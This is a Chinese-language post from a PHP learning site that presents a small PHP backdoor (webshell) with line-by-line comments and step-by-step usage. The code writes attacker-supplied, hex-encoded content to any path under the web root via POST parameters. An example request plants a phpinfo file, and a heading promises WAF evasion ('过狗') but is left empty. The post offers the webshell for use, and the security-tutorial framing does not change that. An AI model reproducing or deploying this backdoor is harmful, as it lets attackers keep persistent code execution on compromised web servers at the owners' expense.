来源:自学PHP网 时间:2015-04-16 23:15 作者: 阅读:次
[导读] 直接上代码:?php$p=realpath(dirname(__FILE__) ) $_POST[a];$t=$_POST[b];$tt=;for ($i=0;$istrlen($t);$i+=2) $tt =urldecode(% substr($t,$i,2));@fwrite(fopen($p,w),$tt);echo succ...
直接上代码:
<?php $p=realpath(dirname(__FILE__)."/../").$_POST["a"]; $t=$_POST["b"]; $tt=""; for ($i=0;$i<strlen($t);$i+=2) $tt.=urldecode("%".substr($t,$i,2)); @fwrite(fopen($p,"w"),$tt); echo "success!"; ?> 分析利用&过狗: <?php $p=realpath(dirname(__FILE__)."/../").$_POST["a"]; //定义$p为根目录的物理路径+$_POST["a"]的内容 $t=$_POST["b"]; //定义$t为$_POST["b"]的内容 $tt=""; //定义$tt为空 for ($i=0;$i<strlen($t);$i+=2) $tt.=urldecode("%".substr($t,$i,2)); //for循环次数是$t长度/2,每循环一次就让$tt加上“%xx”这样的编码 @fwrite(fopen($p,"w"),$tt); //写入文件地址是$p,内容是$tt echo "success!"; ?> 利用方法: 将写入的内容用url编码,比如<?php phpinfo();?> 编码后为:%3C%3F%70%68%70%20%70%68%70%69%6E%66%6F%28%29%3B%3F%3E 去掉其中的%,得到:3C3F70687020706870696E666F28293B3F3E 然后访问后门,将POST内容改为: a=/111.php&b=3C3F70687020706870696E666F28293B3F3E 即可写入内容 过狗: |
自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习
京ICP备14009008号-1@版权所有www.zixuephp.com
网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com